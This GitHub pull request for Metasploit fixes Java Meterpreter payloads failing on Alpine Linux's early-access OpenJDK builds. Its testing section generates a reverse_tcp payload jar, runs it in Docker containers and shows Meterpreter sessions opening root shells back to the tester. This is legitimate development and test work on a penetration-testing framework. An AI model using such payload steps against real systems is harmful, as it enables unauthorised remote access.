Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Java Meterpreter payloads failing with OpenJDK on Alpine Linux #703

Conversation

cdelafuente-r7
Copy link
Contributor

This fixes #702.

Alpine Linux is commonly used with Docker containers and the default Java platform is usually OpenJDK. Now, The only version that is available for Alpine are early-access releases of OpenJDK (see this issue).

These versions have -ea suffix in their version strings that breaks the logic in getVersion() when trying to convert the string to an Integer.

bash-5.1# java --version
openjdk 23-ea 2024-09-17
OpenJDK Runtime Environment (build 23-ea+22-1824)
OpenJDK 64-Bit Server VM (build 23-ea+22-1824, mixed mode, sharing)

This fixes the issue by removing the suffix before converting the version string to an Integer.

Testing

Building Java Meterpreter

I recommend following these steps using Docker.

Use Metasploit

msf6 > use payload/java/meterpreter/reverse_tcp
msf6 payload(java/meterpreter/reverse_tcp) > set lhost 192.168.144.1
lhost => 192.168.144.1
msf6 payload(java/meterpreter/reverse_tcp) > to_handler
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/java/metasploit/Payload.class is being used
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 192.168.144.1:4444
msf6 payload(java/meterpreter/reverse_tcp) > generate -f jar -o /home/msfuser/dev/modules_wip/fix_java_payload/test/payload.jar
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/java/metasploit/Payload.class is being used
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/java/metasploit/Payload.class is being used
[*] Writing 5263 bytes to /home/msfuser/dev/modules_wip/fix_java_payload/test/payload.jar...

Run Docker with OpenJDK version 11

Make sure it still works with older versions of OpenJDK

  • Docker container (Alpine Linux)
❯ docker run --rm -v "$PWD":/usr/src/myapp -w /usr/src/myapp -ti openjdk:11 bash
root@6ddeee749c29:/usr/src/myapp# java -jar payload.jar
  • Metasploit output
msf6 payload(java/meterpreter/reverse_tcp) > WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/java/javapayload/stage/Stage.class is being used
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/java/javapayload/stage/Meterpreter.class is being used

[*] Sending stage (58012 bytes) to 192.168.144.1
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 1 opened (192.168.144.1:4444 -> 192.168.144.1:56657) at 2024-05-14 18:31:24 +0200

msf6 payload(java/meterpreter/reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : c32e524471a9
OS              : Linux 6.6.22-linuxkit (amd64)
Architecture    : x64
System Language : en
Meterpreter     : java/linux
meterpreter > shell -t
[*] env TERM=xterm HISTFILE= /usr/bin/script -qc /bin/bash /dev/null
Process 1 created.
Channel 1 created.
root@c32e524471a9:/usr/src/myapp# java --version
java --version
openjdk 11.0.16 2022-07-19
OpenJDK Runtime Environment 18.9 (build 11.0.16+8)
OpenJDK 64-Bit Server VM 18.9 (build 11.0.16+8, mixed mode, sharing)

Run Docker with OpenJDK version 23

Make sure it still works with newer versions of OpenJDK

  • Docker container (Alpine Linux)
❯ docker run --rm -v "$PWD":/usr/src/myapp -w /usr/src/myapp -ti openjdk:23 bash
bash-5.1# java -jar payload.jar
  • Metasploit output
msf6 payload(java/meterpreter/reverse_tcp) > WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/java/javapayload/stage/Stage.class is being used
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/java/javapayload/stage/Meterpreter.class is being used

[*] Sending stage (58012 bytes) to 192.168.144.1
WARNING: Local file /home/msfuser/dev/src/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 2 opened (192.168.144.1:4444 -> 192.168.144.1:56666) at 2024-05-14 18:32:46 +0200

msf6 payload(java/meterpreter/reverse_tcp) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : 40cfae6b20d8
OS              : Linux 6.6.22-linuxkit (amd64)
Architecture    : x64
System Language : en
Meterpreter     : java/linux
meterpreter > shell -t
[*] env TERM=xterm HISTFILE= /usr/bin/script -qc /bin/bash /dev/null
Process 1 created.
Channel 1 created.
bash-5.1# java --version
java --version
openjdk 23-ea 2024-09-17
OpenJDK Runtime Environment (build 23-ea+22-1824)
OpenJDK 64-Bit Server VM (build 23-ea+22-1824, mixed mode, sharing)

@@ -70,6 +70,12 @@ private static int getVersion() {
}
}

// Early-access releases add a "-ea" suffix
// These are the default versions for Alpine
if (version.endsWith("-ea")) {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like this is available as far back as at least jdk 1.0, seems good 👍

https://javaalmanac.io/jdk/1.2/api/index.html

@adfoster-r7 adfoster-r7 merged commit 49f273a into rapid7:master May 21, 2024
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Java Meterpreter payloads failing with OpenJDK on Alpine Linux
2 participants